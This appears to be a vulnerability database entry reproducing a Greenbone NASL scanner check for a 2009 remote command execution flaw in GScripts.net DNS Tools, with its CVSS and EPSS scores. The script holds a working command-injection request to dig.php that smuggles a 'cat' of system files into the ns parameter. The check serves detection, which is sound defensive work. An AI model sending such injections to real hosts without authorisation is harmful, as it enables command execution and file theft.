10 High
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:N/C:C/I:C/A:C
6.7 Medium
AI Score
Confidence
Low
0.005 Low
EPSS
Percentile
76.6%
GScripts.net DNS Tools is prone to a remote command execution
(RCE) vulnerability because the software fails to adequately sanitize user-supplied input.
# SPDX-FileCopyrightText: 2009 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.100182");
script_version("2023-12-08T16:09:30+0000");
script_tag(name:"last_modification", value:"2023-12-08 16:09:30 +0000 (Fri, 08 Dec 2023)");
script_tag(name:"creation_date", value:"2009-05-02 19:46:33 +0200 (Sat, 02 May 2009)");
script_tag(name:"cvss_base", value:"10.0");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
script_cve_id("CVE-2009-1361", "CVE-2009-1916");
script_tag(name:"qod_type", value:"remote_vul");
script_tag(name:"solution_type", value:"WillNotFix");
script_name("GScripts.net DNS Tools RCE Vulnerability (May 2009) - Active Check");
script_category(ACT_ATTACK);
script_copyright("Copyright (C) 2009 Greenbone AG");
script_family("Web application abuses");
script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "os_detection.nasl", "global_settings.nasl");
script_require_ports("Services/www", 80);
script_mandatory_keys("Host/runs_unixoide");
script_exclude_keys("Settings/disable_cgi_scanning");
script_tag(name:"summary", value:"GScripts.net DNS Tools is prone to a remote command execution
(RCE) vulnerability because the software fails to adequately sanitize user-supplied input.");
script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");
script_tag(name:"impact", value:"Successful attacks can compromise the affected software and
possibly the host.");
script_tag(name:"solution", value:"No known solution was made available for at least one year
since the disclosure of this vulnerability. Likely none will be provided anymore.
General solution options are to upgrade to a newer release, disable respective features,
remove the product or replace the product by another one.");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/34559");
exit(0);
}
include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("list_array_func.inc");
include("misc_func.inc");
include("os_func.inc");
include("port_service_func.inc");
port = http_get_port(default: 80);
if (!http_can_host_php(port: port))
exit(0);
files = traversal_files("linux");
foreach dir (make_list_unique("/whois", "/dns_tools", http_cgi_dirs(port: port))) {
if (dir == "/")
dir = "";
res = http_get_cache(port: port, item: dir + "/dig.php");
if (!res || res != "^HTTP/1\.[01] 200")
continue;
foreach file (keys(files)) {
url = dir + "/dig.php?ns=||cat%20/" + files[file] + "&host=example.org&query_type=NS&status=digging";
if (http_vuln_check(port: port, url: url, pattern: file)) {
report = http_report_vuln_url(port: port, url: url);
security_message(port: port, data: report);
exit(0);
}
}
}
exit(99);